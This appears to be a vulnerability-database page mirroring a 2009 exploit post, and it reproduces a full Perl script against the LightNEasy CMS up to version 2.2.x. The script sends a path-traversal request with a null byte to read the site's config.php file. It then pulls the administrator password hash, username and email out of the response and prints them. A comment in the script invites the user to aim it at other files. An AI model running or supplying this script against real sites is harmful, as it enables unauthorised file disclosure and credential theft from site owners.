Lucene search
K

LightNEasy sql/no-db <= 2.2.x system Config Disclosure Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

LightNEasy <= 2.2.x Config Disclosure Exploi

Code

                                                #!/usr/bin/perl
#
# LightNEasy sql/no-db &#60;= 2.2.x system config disclosure exploit
# 
# by staker
# ------------------------------
# mail: staker[at]hotmail[dot]it
# url: http://www.lightneasy.org
# ------------------------------
#  
# it works with magic_quotes_gpc=off
# 
# short explanation:
# 
# -----------------------------------------------------
# LightNEasy contains one flaw that allows an attacker 
# to disclose a local file because of file_get_contents
# it&#39;s possible to retrieve the configuration file
# passing as argument &#39;../data/config.php&#39;. Example:
# http://[host]/LightNEasy.php?page=../data/config.php
# ----------------------------------------------------
# Today is: 09 June 2009 
# Location: Italy,Turin.
# http://www.youtube.com/watch?v=uXN0pE2Hdt8
# ----------------------------------------------------

use IO::Socket;


my $domain = $ARGV[0] || &usage;


launch_cmd(&#34;../data/config.php&#34;); # if you wanna disclose another file,change it


sub launch_cmd()
{
      my ($data,$result,$html);
      
      my $page = $_[0] || die $!;
      my $path = socket_url($domain,&#39;path&#39;);   
      my $host = socket_url($domain,&#39;host&#39;);
      
      my $TCP = IO::Socket::INET-&#62;new( 
                                       PeerAddr =&#62; $host,
                                       PeerPort =&#62; 80,
                                       Proto    =&#62; &#39;tcp&#39;,
                                     ) || die $!;
                                     
      $data .= &#34;GET /$path/LightNEasy.php?page=$page%00 HTTP/1.1\r\n&#34;;
      $data .= &#34;Host: $host\r\n&#34;;
      $data .= &#34;User-Agent: Lynx (textmode)\r\n&#34;;
      $data .= &#34;Connection: close\r\n\r\n&#34;;
      
      $TCP-&#62;send($data);
      
      while (&#60;$TCP&#62;) {
            $html .= $_;
      }                
      
      if ($html =~ /password&#39;]=&#34;([0-9a-f]{40})&#34;/i) {
            $result .= &#34;Password: $1\n&#34;;
      }      
      if ($html =~ /fromname&#39;]=&#34;(.+?)&#34;/i) {
            $result .= &#34;Username: $1\n&#34;;
      }      
      if ($html =~ /toemail&#39;]=&#34;(.+?)&#34;/i) {
            $result .= &#34;E-Mail: $1\n&#34;;
      }      
                  
      print $result;
}                                    
                                            

sub socket_url()
{
           my ($url,$ext) = @_;
       
           $url =~ s/http:\/\/// if $url =~ /^http:\/\/(.+?)+$/i;
             
           @GLOBALS = split /\//,$url;
       
           if ($ext eq &#39;host&#39;) {
                return $GLOBALS[0];
           }     
           elsif ($ext eq &#39;path&#39;) {
                return $GLOBALS[1];
           }
           else {
                return join(&#39;/&#39;,@GLOBALS);    
           }
}


sub parse_url
{
        my $string = shift @_ || die($!);
        
        if ($string !~ /^http:\/\/?/i) {
                $string = &#39;http://&#39;.$string;
        }
        
        return $string;
}    


sub usage()
{
       print  &#34;[*------------------------------------------------------------*]\n&#34;.
              &#34;[* LightNEasy sql/no-db &#60; 2.2.x sys config disclosure exploit *]\n&#34;.
              &#34;[*------------------------------------------------------------*]\n&#34;. 
              &#34;[* Usage: perl light.pl [domain]                              *]\n&#34;.
              &#34;[* [domain] domain -&#62; http://localhost/lightneasy             *]\n&#34;.
              &#34;[*------------------------------------------------------------*]\n&#34;;
      exit;
}   

# milw0rm.com [2009-06-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation